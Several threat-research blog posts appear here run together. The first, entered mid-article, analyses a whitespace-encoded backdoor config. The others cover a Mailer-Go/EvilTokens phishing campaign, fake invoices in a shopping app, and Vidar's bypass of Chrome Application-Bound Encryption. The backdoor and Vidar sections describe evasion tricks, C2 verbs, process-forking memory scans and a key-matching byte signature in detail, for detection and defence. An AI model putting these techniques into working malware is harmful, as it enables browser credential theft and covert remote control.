a=&lt;id&gt;&amp;r=none
</code></pre>
A beacon with nothing to report sends <code>r=none</code>: the first one, and every cycle where the last response carried no command or only a <code>time</code> change. Otherwise <code>r</code> carries the previous command's output, base64-encoded and then URL-encoded. The user agent is a hardcoded Chrome 78 string, frozen at whatever was current when the author wrote it.
Tasking comes back in the response body, which the malware scans for the literal <code>CMD=</code>. There are three verbs:
<ul>
<li><code>system</code> runs a command through <code>cmd.exe</code>, captures stdout and stderr through a pipe, and gives up after 30 seconds with the text <code>cmd timeout</code></li>
<li><code>put</code> writes a file, taking a path and base64 content</li>
<li><code>time</code> changes the polling interval, which starts at five seconds</li>
</ul>
That is the whole command set. No file listing, no screenshots, no keylogging. Whatever the operator wanted, they were going to get it by shelling out and writing files.

<h2>Two smaller touches</h2>
The <code>put</code> handler does something odd before it writes. It base64-decodes the content, decrements the first byte and increments the second, writes the result to <code>tempcache.tmp</code>, renames that to the target path, and only then reopens the file to patch the correct two bytes back. A dropped executable therefore sits on disk with <code>L[</code> where its <code>MZ</code> signature belongs, right up until a final two-byte write. Anything scanning on file creation or rename sees something that is not a PE at all.
The same habit accounts for <code>cmd.exe</code>, which is absent from the binary in one piece and assembled at the call site:
<pre><code>wnsprintfA(buffer, 0xFFFF, "c%s%se /c %s", "md.", "ex", command);
</code></pre>
Neither trick would trouble a modern behavioural engine, but together they show what the author was worried about: on-access file scanners and string searches, enough to write awkward code to dodge them.

<h2>One machine, one dead domain</h2>
The dates are where this stops being a story about clever encoding.
The domain was registered on 23 July 2020 through a privacy proxy. The binary was compiled on 2 December 2020 at 13:34 UTC, and the config file on the victim's disk was created a little over three hours later. Build and deploy inside one afternoon.
Our software was installed twenty-one days later. Every date that follows is from the middle of the incident rather than the start, and the first evening the backdoor started on that machine is not something we have any record of.
The last DNS record we hold for <code>diagrtrack.com</code> is from March 2021. The registration lapsed that July and nobody renewed it. Nobody re-registered it either: the domain has no whois record today and does not resolve. Even the squatters passed.
The backdoor did not notice. We collected the same WMI subscription from that host three times, in February, August and October 2021, which is how we know the persistence stayed in place rather than being cleaned and reinstalled. When a detection we wrote for this file shape went live in June 2022, it fired on the same machine, and the config was still sitting in <code>C:\ProgramData</code>.
From the code we know what that machine did for the eleven months after the registration lapsed. At 19:50 the WMI consumer started the process, it counted the spaces, rebuilt <code>diagrtrack.com</code>, and called <code>getaddrinfo</code>, which failed. The failure changed less than you would think, because the address buffer is never initialised and nothing checks the return value: every five seconds the implant read whatever bytes happened to be on its stack, called <code>inet_addr</code> on them, and sent an ICMP echo to the result. Then it slept and did it again, until the machine was next rebooted. There was no one on the other end for any of it.

<h2>Detection opportunities</h2>
Configuration formats do not have to look like configuration formats. A routine that counts spaces is still a parser, and a file containing no suspicious strings, high-entropy blob or encoded text can still carry a C2 address in plain sight. Any pipeline that finds data mainly by looking for things that resemble data risks treating whitespace as empty.
Structural detections are more durable. A hash covers one binary and a domain block covers one address, but a rule describing the shape of this configuration survives changes to both.
Past byte 174, a legitimate <code>desktop.ini</code> should not consist entirely of UTF-16 spaces, carriage returns and line feeds. We deployed a detection for that structure in June 2022 and ran it until November. Across our user base, it fired only on the machine we already knew about. It would nevertheless detect another configuration using the same technique with a completely different domain.
The same characteristics also provide several inexpensive hunting opportunities:
<ul>
<li>
Look for <code>__EventFilter</code> and <code>CommandLineEventConsumer</code> pairs bound to <code>Win32_LocalTime</code>, particularly those launching executables from paths intended to resemble legitimate software.
</li>
<li>
Inspect <code>C:\ProgramData\desktop.ini</code>, especially when it contains the Program Files localization string <code>shell32.dll,-21781</code>.
</li>
<li>
Treat a zero-byte <code>C:\ProgramData\desktop.ini</code> as potentially significant. That is the crash artefact this implant creates when the operator has not staged a valid configuration.
</li>
<li>
Look for <code>desktop.ini</code> files containing a legitimate Windows header followed only by UTF-16 whitespace.
</li>
</ul>

<h2>Conclusion</h2>
Everything in this investigation came from one endpoint. That does not tell us how consequential the intrusion was, because we never captured a command, recovered a second-stage payload or established how the machine was first compromised. It does tell us that prevalence alone would have been a poor reason to ignore it.
The implant was custom-built, its configuration format was absent from the rest of our corpus, and searches for related binaries and protocol fragments found no convincing siblings. We assess with moderate confidence that it was deployed selectively, while stopping short of naming an actor or campaign.
By the time our detection found it, the C2 domain had been expired for eleven months. The backdoor was still starting at 19:50 after every reboot, rebuilding the address from lines of spaces, and trying to contact an operator who was no longer there.
The detection was not wrong. It was late.

<h2>Appendix: build and CRC provenance</h2>
Two details that change nothing about the story but pin down what the author built this with.
<h3>The missing runtime</h3>
<code>msvcrt.dll</code> is absent from the import table, and that absence took work. <code>SHLWAPI</code> is there to supply <code>wnsprintfA</code>, <code>StrStrA</code> and <code>StrToIntA</code> in place of <code>sprintf</code>, <code>strstr</code> and <code>atoi</code>, the <code>str*</code> family is <code>lstrcpyA</code> and friends from <code>KERNEL32</code>, and <code>memset</code> and <code>memcpy</code> are the author's own two routines, because the compiler emits calls to those whether you link a runtime or not. The binary also carries its own compiler receipt in <code>.rdata</code>:
<pre><code>GCC: (tdm64-1) 4.9.2
</code></pre>
That is TDM-GCC, a MinGW-w64 distribution, and the linker version of 2.24 and the missing Rich header agree with the string. The PE timestamp reads 2 December 2020, 13:34 UTC. A default build from that toolchain would enter at <code>mainCRTStartup</code> and import <code>msvcrt.dll</code>, so the runtime had to be left out on purpose and the entry point aimed at the author's own function.
<h3>The polynomial that is not there</h3>
The 14-byte table in <code>.rdata</code> is a list of bit positions:
<pre><code>0, 1, 2, 4, 5, 7, 8, 10, 11, 12, 16, 22, 23, 26
</code></pre>
At runtime the code walks that table and sets one bit per entry, counting down from bit 31:
<pre><code>for ( i = 0; i != 14; ++i )
 poly |= 1 &lt;&lt; (31 - tap_table[i]);
</code></pre>
The result is <code>0xEDB88320</code>, the reflected CRC-32 polynomial, which has exactly 14 bits set. Before crediting the author for that: this is zlib. The routine is <code>crc32()</code> line for line, from the null-pointer guard through the pre- and post-inversion to the eight-bytes-at-a-time unrolled loop, compiled with <code>DYNAMIC_CRC_TABLE</code> — the zlib build option that generates the lookup table on first use instead of shipping a kilobyte of constants — and GCC has inlined the static <code>make_crc_table</code> into it, which is why the table build sits inside the same function. zlib built the polynomial from that list of exponents from January 1996 until the 1.2.12 release, in March 2022, replaced it with a plain <code>#define POLY 0xedb88320</code>. The comment sitting directly above the list writes the same polynomial out longhand, as <code>x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1</code>, so the table is the polynomial as a mathematician would state it rather than a constant kept out of a scanner's way. It did not go away for tidiness either: the commit that removed it rewrote the whole routine around the interleaved CRC method of Kadatch and Jenkins, and the new <code>#define</code> was a byproduct of chasing a factor of three in speed.
The confirmation is in <code>.data</code>, which in this binary holds exactly one initialised variable: a <code>dd 1</code> that the CRC routine clears once the table exists. That is zlib's <code>crc_table_empty</code>. What is not there is the thread-safety flag zlib added in September 2004, so their copy of <code>crc32.c</code> came from some zlib released between 1996 and 2004, at least sixteen years stale by the time they compiled it. The missing constant is a build option, not tradecraft.

<h2>Indicators of Compromise</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>diagrtrack{.}com</td>
<td>C2 domain (expired, no longer resolves)</td>
</tr>
<tr>
<td>d411d93f358128c77aed0be91365b18cfb7575ecd188d22a216cbaeaa51c5e11</td>
<td>Backdoor, RtkNGUI64.exe</td>
</tr>
<tr>
<td>1cc5a4be7f2e41086b53e698b487e43426e5e572bc99e5de62eada9baf83bdcd</td>
<td>Whitespace-encoded config</td>
</tr>
<tr>
<td>C:\Program Files\Realtek\Audio\RtkNGUI64.exe</td>
<td>Fake install path</td>
</tr>
<tr>
<td>C:\ProgramData\desktop.ini</td>
<td>Config location</td>
</tr>
<tr>
<td>/version/check.php</td>
<td>C2 URI path</td>
</tr>
<tr>
<td>Realtek</td>
<td>WMI filter, consumer and binding name</td>
</tr>
</tbody>
</table>

A hand-written Windows backdoor stored its command-and-control domain as the number of trailing spaces in a fake desktop.ini, and we found it on exactly one machine.

A 12 KB Backdoor Hid Its C2 Domain in desktop.ini Whitespace

Princ Security Analyst CTI

The first URL was already dead.&nbsp;It did not load a credential form or show a fake Microsoft login page. Instead, it returned an expired tracking response, which is exactly what the operator wanted scanners and analysts to see after the first click.&nbsp;That could easily have been the end of the investigation: one reported phishing email, a burned link and no visible payload. But the expired URL still exposed enough of the underlying infrastructure to start pulling the thread. What followed led us to Mailer-Go Mission Control, a bulk phishing platform we had not seen publicly documented at the time of analysis.&nbsp;Mailer-Go handled the delivery side of the campaign, including email templates, recipient management, SMTP infrastructure, proxy support and per-recipient tracking links. The final phishing stage came later, through a Cloudflare Workers page running EvilTokens, a known Microsoft OAuth Device Code phishing kit.&nbsp;EvilTokens itself was not the new part. What caught our attention was the machinery around it: how victims were routed there, how the operator switched infrastructure when a domain was burned, and how much of the delivery chain was designed to disappear once a useful click had already happened.&nbsp;<h2>The link was expired, but the pattern was not&nbsp;</h2>The reported email contained a tracking URL under:&nbsp;coldchain-distribution[.]com&nbsp;The URL followed a structure we later associated with Mailer-Go:&nbsp;hxxps://&lt;8-hex&gt;.link.&lt;domain&gt;/t/v3.&lt;campaign-id&gt;.&lt;recipient-token&gt;&nbsp;Each recipient received a unique token. Once that token was used, later requests no longer reached the live phishing chain and instead returned an expired response. A victim could therefore see the real destination, while a scanner or analyst arriving afterwards saw something very different.&nbsp;That behavior became one of the more useful clues in the investigation. The link was not simply a route to a phishing page. It also acted as a gate that closed after use, limiting what could be recovered later from the same URL.&nbsp;The first domain, coldchain-distribution[.]com, was registered on 2026-06-01. Once detections started catching up, the operator moved activity to healthprofessionals21[.]org, which had been registered the same day. Its tracking subdomains resolved to the same Linode IP used by the earlier campaign, and more than 40 *.link.healthprofessionals21[.]org subdomains were eventually observed.&nbsp;<h2>A fake blog on the front door&nbsp;</h2>At the root, the replacement domain looked harmless.&nbsp;healthprofessionals21[.]org served a technology and gaming blog with articles about consoles, VPNs and multimedia devices. The content was thin and generic, but plausible enough to give scanners and casual visitors something ordinary to index. The phishing infrastructure itself sat underneath *.link.healthprofessionals21[.]org.&nbsp;

For a short time, the setup appears to have done its job. The replacement domain initially had little to no reputation-based detection while the phishing chain remained active.&nbsp;By 2026-06-10, that had started to change. Fortinet marked the domain as phishing and ESET flagged it as suspicious, but the operator had already been using it as failover infrastructure after coldchain-distribution[.]com was burned.&nbsp;<h2>What Mailer-Go is&nbsp;</h2>Mailer-Go Mission Control presents itself like a commercial email campaign platform. Its admin panel includes modules for campaign management, audience lists, email creation, SMTP providers, proxy routing, tracking, licensing and update notifications.&nbsp;None of those features, viewed individually, proves malicious intent. The combination is harder to explain as a normal bulk-mail product.&nbsp;Mailer-Go supports proxy routing and multiple SMTP providers, and it generates single-use tracking tokens that stop exposing the live destination after the first click. It also includes built-in license management, yet at the time of our analysis we could find no public documentation, GitHub footprint or visible legitimate product presence. The same Mailer-Go login page was exposed across wildcard campaign subdomains.&nbsp;We assess with moderate confidence that Mailer-Go is purpose-built crimeware rather than a legitimate phishing simulation tool being abused. That assessment is based on the platform as a whole: proxy support, flexible sending infrastructure, token burning, controlled access and the absence of a public legitimate footprint.&nbsp;Useful fingerprints include:&nbsp;Mailer-Go Mission Control&nbsp; /assets/js/tracking.js?v=20260522d&nbsp; /assets/js/proxies.js?v=20260513b&nbsp; /assets/js/sending-infrastructure.js?v=20260513b&nbsp; /assets/dist/emailbuilder2/manifest.json&nbsp;The observed admin panel HTML had this SHA-256:&nbsp;3a026fcb5001327198ac3886e6983183e44b8a5daa0086d34c10cb65130c6f89&nbsp;<h2>Live tokens showed the real destination&nbsp;</h2>The expired links were only part of the picture. URLScan captures of tokens that were still live showed a different path.&nbsp;Valid Mailer-Go tracking links routed through:&nbsp;mysocalledblog[.]com/sev/&nbsp;That relay then redirected the victim to a Cloudflare Workers page. Following the EvilTokens convention, the Workers subdomain encoded the targeted recipient's email address, which we have redacted:&nbsp;9sfo-bnqi-4yap.[recipient-redacted]-s-account.workers[.]dev&nbsp; &nbsp;The page presented itself as a OneDrive shared-document flow built around a file named Confidential_Memo.docx. Captures showed several stages of the page, including a “Preparing verification...” screen, a transient “fetch failed” error and, most importantly, the page displaying a Microsoft device code.&nbsp;

There was no fake Microsoft password form. The victim was sent to the real Microsoft device login page. If they entered the code and completed authentication, the attacker-controlled client could receive OAuth tokens in the background.That has an important consequence for incident response. Resetting the user's password may not be enough if a refresh token has already been issued. We cover the response steps later in the defenders section.Why Visa appeared in the redirect chainExpired tokens followed another route.Instead of reaching the EvilTokens page, they passed through:arduinosolutions[.]com/sev/and then landed on legitimate Visa sites such as visa[.]fr, visa[.]com, visa[.]de and others.That initially creates a confusing picture because Visa appears repeatedly in the redirect data, yet the confirmed phishing lure impersonated Microsoft OneDrive.The explanation was simpler. Visa acted as fallback cover for dead tokens. Once a tracking token had expired, the user was sent to a legitimate site rather than the phishing page. Someone clicking the link later could reasonably conclude that nothing malicious had happened, and an analyst reconstructing the chain after the fact could reach the same wrong conclusion.<h2>The emails were built to survive static scanning</h2>We identified five phishing EML samples tied to the campaign. Their MIME-header similarity supports the conclusion that they came from the same sending platform.The messages used generic B2B document themes, including an Autodesk-themed “Bidding Addendum” lure. We found no evidence of detailed industry reconnaissance, so the activity looks more like broad B2B targeting than a tightly tailored campaign.The email bodies also used a simple obfuscation technique in which characters were interleaved with question marks:T?h?i?s?The text remains readable to a person, but the added characters interfere with keyword matching and some content-based detection systems. At the time of analysis, the observed samples had zero detections across the engines available in our internal dataset.We also saw Microsoft SafeLinks wrapping in some of the messages. In those cases, the original Mailer-Go URL was stored in the originalsrc attribute rather than the visible href, so analysts reviewing mail traces should inspect both.<h2>What defenders should take from this</h2>The most useful Mailer-Go indicators are likely to come from the delivery layer rather than the lure itself. Phishing content can be changed quickly, and a Workers URL can disappear. The tracking structure is more consistent.In this campaign, Mailer-Go links used *.link.&lt;domain&gt; subdomains and a /t/v3. path containing a numeric campaign ID followed by a long hexadecimal token:hxxps://&lt;8-hex&gt;.link.&lt;domain&gt;/t/v3.&lt;campaign-id&gt;.&lt;recipient-token&gt;The admin panel also exposed reusable fingerprints, including the title Mailer-Go Mission Control and versioned JavaScript paths such as:/assets/js/tracking.js?v=20260522d/assets/js/proxies.js?v=20260513b/assets/dist/emailbuilder2/manifest.jsonFor Microsoft 365 environments, a confirmed device-code phishing event should not be handled as ordinary password phishing. If the attacker received a refresh token, resetting the password may leave access intact. Response should include revoking active sessions and refresh tokens, reviewing device-code sign-ins, checking app consent, reviewing registered authentication methods and devices, and looking for new mailbox rules, MFA changes or suspicious file access after the click.<h2>Attribution and limits</h2>We have not linked this campaign to a named threat actor.The operator appears to be a customer of EvilTokens, which is commercially sold. Mailer-Go is less clear. Its licensing features and commercial-style architecture suggest controlled distribution, but we do not know how the platform is sold or shared, and we cannot rule out the possibility that the operator behind this campaign is also involved in its development.There are other limits to what the available evidence can tell us. We observed a low-confidence PE download signal in sandbox telemetry, but no executable was recovered and the same signal appeared when sandboxing the Mailer-Go admin panel itself. Without endpoint evidence showing a PE download or execution after a victim click, we do not treat that as confirmed victim-side malware delivery.<h2>Conclusion</h2>The reported link was already burned, but it still exposed the campaign’s delivery architecture. Behind the expired URL sat a Mailer-Go tracking server, a backup domain with a fake root site, relay nodes of unconfirmed ownership and an EvilTokens page abusing Microsoft’s device-code flow.Mailer-Go is the part defenders should track beyond this campaign. The final lure can change. The Workers URL can disappear. The delivery layer leaves stronger patterns: *.link.&lt;domain&gt; subdomains, /t/v3 tracking paths, single-use tokens, exposed admin panels and a small set of reusable JS fingerprints.<h2>Sources and credits</h2><ul type="disc"><li data-list-item-id="e85ca59061a0c2a3192dac54b484f8035">Website snapshots (Figures 1, 2): urlscan.io</li><li data-list-item-id="e4395200636d122ba2fa1724623960f0c">EvilTokens background: public research by Sekoia and Push Security</li></ul>

A single expired URL exposed a phishing campaign built around Mailer-Go, Cloudflare Workers and an EvilTokens OneDrive lure.

The phishing link that died on purpose

Threat Operations Analyst at Gen

A fake invoice in your email is easy to ignore. A fake invoice inside your order history feels different.&nbsp;Norton customers have reported fake Norton invoices appearing inside the Shop app, the shopping and order-tracking app from Shopify. Public reports suggest the same technique is not limited to Norton. Similar suspicious Shop app notifications have used McAfee, Apple gift cards, iPhones, PayPal-style payment claims and other high-value purchases as bait. The impersonated brand may change, but the mechanics are familiar: make the user believe they have been charged, then give them a phone number to call.&nbsp;That phone number is where the scam really begins.&nbsp;<h4>Why the Shop app makes this more believable&nbsp;</h4>Shop is a legitimate app. People use it to track packages, check receipts and receive order updates. According to Shop’s own documentation, the app can automatically track orders from several sources, including Gmail, Outlook, the email address linked to the user’s Shop account and orders paid through Shop Pay. If Gmail or Outlook is connected, Shop says it scans recent emails for keywords such as “tracking number” and “track your package” to populate deliveries in the Orders tab.&nbsp;

Shop also supports push notifications for delivery updates, payments and favorite products. So the first alert the victim sees may not be an email, an SMS or a calendar invite. It may be a notification from an app they already use for real purchases.&nbsp;That context matters. The scam text is not especially polished. Some of the examples we reviewed contain awkward wording and obvious signs of fraud. But when the message appears inside an order-tracking app, surrounded by real receipts and shipping updates, users may give it more credibility than it deserves.&nbsp;The screenshots reported to us show fake orders under generic seller names such as “My Store.” The receipts claim that a Norton or Norton LifeLock subscription has been activated or renewed, usually for several hundred dollars. The phone number appears in the product description, the receipt body or even the shipping address field.&nbsp;That is not how a normal receipt should look.&nbsp;<h4>The brand is interchangeable&nbsp;</h4>Norton is the example we saw through customer reports. Norton support now warns that scammers may abuse Android and iOS shopping platforms or applications to generate fake order notifications that appear to be legitimate Norton purchases. Those notifications may include fake order confirmations, fake charges, trusted third-party app delivery and fake support phone numbers embedded in order details.&nbsp;Public user reports point to a wider pattern. One Reddit user described receiving a Shop.app message about a transaction they did not recognize, with no follow-up email confirmation, and a message telling them to call support if the order was not placed by them. Another thread includes reports of unrecognized iPhone purchases under “My Store,” suspicious contact emails and users saying they saw no matching charges on their bank cards. Other reports mention fictitious Apple gift card purchases and iPhone orders using the same kind of wording: “If Order Not Placed By You,” followed by a phone number.&nbsp;The choice of brand is part of the social engineering. A fake security subscription charge plays on two fears at once: being billed for something you did not buy, and being left unprotected if you ignore it. Apple products and gift cards create high-value purchase panic. PayPal-style wording makes users worry about payment account abuse. In each case, the fake order is there to push the victim toward a call.&nbsp;<h4>What we know, and what we do not&nbsp;</h4>We have not found any evidence that any of the impersonated brands have been compromised.&nbsp;&nbsp;We also should not claim that Shop or Shopify was breached based on the evidence we have. The exact abuse path still needs confirmation. The fake order may be entering the app through a merchant/order workflow, through email parsing, through account association, or through another legitimate mechanism that scammers have found a way to misuse. Shop’s own documentation shows that orders can populate from multiple sources, so assuming one route would be premature.&nbsp;&nbsp;What we can say is narrower and stronger: scammers are placing fake purchase claims inside shopping app order experiences, where users are used to seeing real receipts and order updates. Norton’s own support page now describes this class of shopping app scam, and public reports show similar lures using other brands and products.&nbsp;&nbsp;That is enough to warn users without overstating the technical evidence.&nbsp;<h4>How the scam works&nbsp;</h4>The user receives a notification or sees a new order in the Shop app. The order looks like a receipt for something expensive: a security subscription, an Apple gift card, an iPhone, a MacBook or another high-value purchase.

The receipt says the charge has been processed, the subscription has renewed, or the order is being prepared. Somewhere in the order details, the scammer inserts a phone number, email address or support instruction.&nbsp;The wording is often clumsy. We have seen phrases like “If Order Not Place By You” and “If Need Help.” Those errors may look obvious when reviewing a screenshot. They are easier to miss when a phone notification tells you that hundreds of dollars have just been charged.&nbsp;If the victim calls, the scam moves off-platform. The person answering may claim to be billing support, Norton support, PayPal support or a cancellation department. The script can vary, but the request usually moves toward credentials, payment data, one-time codes or remote access software.&nbsp;By that point, the fake receipt has done its job. It has created enough urgency for the victim to enter a conversation controlled by the scammer.&nbsp;<h4>Why this is harder for users to judge&nbsp;</h4>Most people understand that email can be spam. They may still fall for phishing, but at least the inbox is a place where scams are expected.&nbsp;Order-tracking apps are different. Their purpose is to collect receipts, shipping updates and purchase information in one place. A notification from that environment can feel as if it has already passed through some layer of trust, even when the content inside the order is fraudulent.&nbsp;We have seen the same logic with calendar invite scams. The message itself is not always convincing, but the delivery channel changes how people read it. A fake invoice in an inbox is one thing. A fake invoice inside a calendar reminder or shopping app receipt can feel closer to a real event.&nbsp;For security products, this also creates a detection problem. The first visible alert may not be an email, SMS or malicious website. It may be a legitimate app notification carrying fraudulent text. The scam still depends on social engineering, but the delivery surface is harder to classify with the usual rules.&nbsp;<h4>What to do if you see one&nbsp;</h4>Do not call the number in the receipt.&nbsp;Check the charge directly. Open your bank or credit card app. Open the official account for the brand being impersonated. If it claims to be Norton, go to your Norton account or official Norton support. If it claims to involve PayPal, open PayPal directly. Do not use the phone number, email address or link inside the suspicious order.&nbsp;If there is no matching charge, treat the receipt as a scam attempt.&nbsp;Report the suspicious store or message in the Shop app if the option is available. Shop’s help pages say suspicious Shop stores can be reported from the store page through the app, and Shopify also tells users to forward phishing messages to its phishing inbox.&nbsp;&nbsp;Norton users can forward suspicious messages to Norton and should verify unexpected charges only through their Norton account or official Norton support channels.&nbsp;&nbsp;Opening the receipt does not automatically mean your device was compromised. The risk increases if you call the number, share information, install software or follow instructions from the person on the phone.&nbsp;<h4>What to do if you have already called&nbsp;</h4>End the call.&nbsp;If you shared payment details, contact your bank or card provider immediately using the number on your card or inside your banking app. If you gave away a password, change it from a different device if possible. Start with your email account, Apple ID or Google account, banking account and any account connected to the fake invoice.&nbsp;If you installed remote access software, disconnect the device from the internet and remove the software. Run a security scan before using the device again for banking, email or shopping.&nbsp;If you gave a one-time code to the caller, treat the related account as compromised. Change the password, review recovery options and check recent login activity.&nbsp;<h4>The lesson&nbsp;</h4>Scammers keep testing new places to put old tricks. For years, fake invoices were mostly an email problem. Then similar subscription notices appeared in calendar invites. Now we are seeing fake receipts inside shopping app order histories and push notification flows.&nbsp;The safest response is to separate the alert from the action. If an app, email, text message or calendar invite says you have been charged, do not use the contact details inside that alert. Go directly to the account or payment provider yourself. Check whether the charge exists. Use official support channels.&nbsp;The fake receipt, the fake support number and the fake emergency are all part of the same controlled environment. The moment you verify the charge somewhere else, the scam loses most of its power.&nbsp;

Scammers are using order-tracking apps to place fake receipts where users expect to see real purchases, then pushing them to call fake support numbers. 

Fake invoices are moving from inboxes to shopping apps 

<h2>Introduction&nbsp;</h2>Infostealers are constantly evolving, and so are the techniques they use to bypass <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" target="_blank" rel="noreferrer noopener">Application-Bound Encryption (ABE)</a>. In recent weeks, Vidar has been among the most actively developed stealers and, apart from <a href="https://x.com/GenThreatLabs/status/2064836539952361976" target="_blank" rel="noreferrer noopener">multiple updates to its string obfuscation</a> and <a href="https://x.com/GenThreatLabs/status/2061462524604649840" target="_blank" rel="noreferrer noopener">a reworked approach to protecting its configuration</a>, it has also introduced a novel technique for bypassing ABE. And while there have been many other changes in Vidar lately, with new versions dropping every week, in this blog post we focus solely on the ABE bypass and its technical aspects.&nbsp; &nbsp;<h2>The ABE Bypass&nbsp;</h2>From a high-level perspective, Vidar’s approach to bypassing ABE is somewhat similar to that of Remus/Lumma, in that both try to extract the <code>v20_master_key</code> directly from the browser’s memory. What sets them apart, however, is how they achieve it. Since we’ve already covered the inner workings of ABE in earlier posts (<a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer" target="_blank" rel="noreferrer noopener">Remus</a>, <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass" target="_blank" rel="noreferrer noopener">VoidStealer</a>), we don’t revisit them here and focus instead on the bypass itself. For readers interested in the broader background, we encourage checking those earlier posts.&nbsp;&nbsp;In short, the end goal of infostealers is to obtain the <code>v20_master_key</code>, as it alone is sufficient for decrypting any ABE-protected data tied to a specific application. This key can be obtained in one of two ways: either from disk, where it is protected by two layers of <code>CryptProtectData</code> (one applied in the context of the logged-in user and one as <code>NT AUTHORITY\SYSTEM</code>), or from the browser’s memory – the direction Vidar took.&nbsp;In memory, however, the key is kept protected with <code>CryptProtectMemory</code> using the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag. This ensures that even if an attacker manages to read the encrypted form of the key from memory, they cannot simply decrypt it (they would need to invoke the complementary <code>CryptUnprotectMemory</code> function directly from within the browser process). That leaves attackers with two problems to solve: how to find the encrypted key in memory, and how to get it decrypted.&nbsp;<h2>Locating the v20_master_key in Browser’s Memory&nbsp;</h2>Vidar’s approach to locating the encrypted <code>v20_master_key</code> in memory involves scanning the entire memory of a running browser for a specific pattern. But that first requires a browser process to scan.&nbsp;When the target browser is already running, Vidar reuses the existing process. However, it doesn’t read its memory directly. Instead, it creates a fork of it using <code>NtCreateProcessEx</code> with <code>SectionHandle</code> set to <code>NULL</code>, instructing the kernel to clone the address space of the process specified by the <code>ParentProcess</code> as a copy-on-write mapping. The resulting process has no threads and is never resumed – it exists purely as a static memory snapshot.&nbsp;&nbsp;To perform the fork, Vidar first opens a handle to the target browser via <code>OpenProcess</code> with <code>PROCESS_QUERY_INFORMATION | PROCESS_CREATE_PROCESS | PROCESS_VM_READ</code>, falling back to <code>PROCESS_CREATE_PROCESS</code> if the initial call fails. It then passes this handle as the <code>ParentProcess</code> argument to <code>NtCreateProcessEx</code>, requesting <code>PROCESS_ALL_ACCESS</code> on the resulting child. If the fork fails, Vidar falls back to scanning the live browser process directly.&nbsp;

If no target browser process is found running, Vidar creates a new isolated desktop via <code>CreateDesktopA</code>, assigns it a name of the form <code>v20_%d</code> (where <code>%d</code> is replaced with the browser’s index in Vidar’s configuration), and launches the target browser in there. In the case of Vidar version 2.1, the browser is launched with the command line <code>--no-first-run --disable-gpu about:blank</code>, although the exact command line varies across versions. Since modern browsers use a multi-process architecture, there are typically multiple processes matching a given browser. Vidar enumerates all of them (up to 64) and applies the fork-and-scan procedure to each one independently.&nbsp;

With a handle to the forked process in hand, Vidar proceeds to enumerate its virtual memory regions using <code>NtQueryVirtualMemory</code>. It iterates through the entire browser’s address space, collecting regions that match a specific profile: committed (<code>MEM_COMMIT</code>), private (<code>MEM_PRIVATE</code>), and either readable (<code>PAGE_READONLY</code>) or read-write (<code>PAGE_READWRITE</code>). Vidar records up to 4096 memory regions matching these requirements, along with their base addresses and sizes. The actual pattern scanning is then performed in parallel with up to 64 worker threads, depending on the system.&nbsp;&nbsp;

Each thread scans its assigned regions using <code>NtReadVirtualMemory</code>, searching for a 32-byte pattern. When a match is found, the thread reads 8 bytes at offset +32 from the match, interprets them as a pointer, and validates that it points to committed, private, and readable memory (the expected memory state for the encrypted <code>v20_master_key</code>).&nbsp;&nbsp;

This naturally raises the question of what pattern Vidar searches for. The answer is a 32-byte signature: <code>76 32 30 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 00 00 00 00 01 ?? ?? ??</code>, where <code>??</code> denotes a wildcard (Vidar uses the byte <code>AA</code> as the wildcard marker in its internal representation). Notably, the first four bytes correspond to the ASCII <code>v20\x00</code>, which is a common prefix used for ABE-related data.&nbsp;&nbsp;

We assess with high confidence that this pattern is intended to match a node structure within Chromium’s <code>Encryptor::KeyRing</code>, the structure that holds the keys used by the <code>Encryptor</code> class. Now, this part is admittedly a bit tricky as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types <code>(std::map</code>, <code>std::string</code>, <code>std::vector</code>, <code>std::optional</code>), which is why we frame this as a high-confidence rather than a certainty.&nbsp;&nbsp;Our reasoning is as follows: <code>KeyRing</code> is <a href="https://github.com/chromium/chromium/blob/cf5d502bcaedb22927e3829a18be1ff6d8b6f598/components/os_crypt/async/common/encryptor.h#L132" target="_blank" rel="noreferrer noopener">defined</a> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, and <code>std::map</code> is typically implemented as a red-black tree, where each tree node stores three pointers (left child, parent, and right child) followed by the key-value pair. In this case, the pair is in the form of <code>std::pair&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, meaning that the <code>std::string</code> and the <code>Key</code> object might be laid out consecutively in memory within each node. For a <code>v20_master_key</code> entry, the tag corresponds to the string <code>v20</code>, which at 4 bytes including the null terminator fits within the small string optimization (SSO) buffer and is therefore stored inline rather than heap-allocated. The <code>Key</code> class that immediately follows <a href="https://github.com/chromium/chromium/blob/cf5d502bcaedb22927e3829a18be1ff6d8b6f598/components/os_crypt/async/common/encryptor.h#L93-L98" target="_blank" rel="noreferrer noopener">contains three member variables</a>: <code>std::optional&lt;mojom::Algorithm&gt; algorithm_</code>, <code>std::vector&lt;uint8_t&gt; key_</code>, and <code>bool encrypted_ = false</code>.&nbsp;Putting it all together and applying it to a concrete example from a browser memory dump, we get the following layout:&nbsp;

Please note that while the exact layout may contain minor inaccuracies on our part, the overall structure should be roughly correct. For easier orientation, the following diagram illustrates how the individual structures are nested within each other:&nbsp;

